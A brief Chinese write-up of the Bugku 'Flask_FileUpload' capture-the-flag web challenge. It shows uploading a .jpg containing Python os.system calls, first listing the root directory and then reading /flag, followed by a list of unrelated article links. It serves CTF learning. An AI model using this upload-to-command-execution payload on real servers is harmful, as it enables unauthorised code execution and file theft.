Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
leisoo80973 小时前
ig50数据落盘ClickHousevsTimescaleDBvsDuckDB实测对比 IG50免费开源股票数据API接口卷无止境3 小时前
FastAPI 的 Metadata 到底是什么，又牵动了哪些核心概念卷无止境3 小时前
FastAPI 调试实战,从断点到生产环境的排错心法yaoxin5211233 小时前
503. Java 反射 - 编写 ServiceFactory 类kyrie_sakura4 小时前
python学习笔记3 -- 流程控制语句结构人民广场吃泡面4 小时前
前端该重视的编程思想冬夜戏雪4 小时前
agent的trace 和evalIT_陈寒4 小时前
Redis的DEL命令居然没删干净数据？这个坑我爬了半天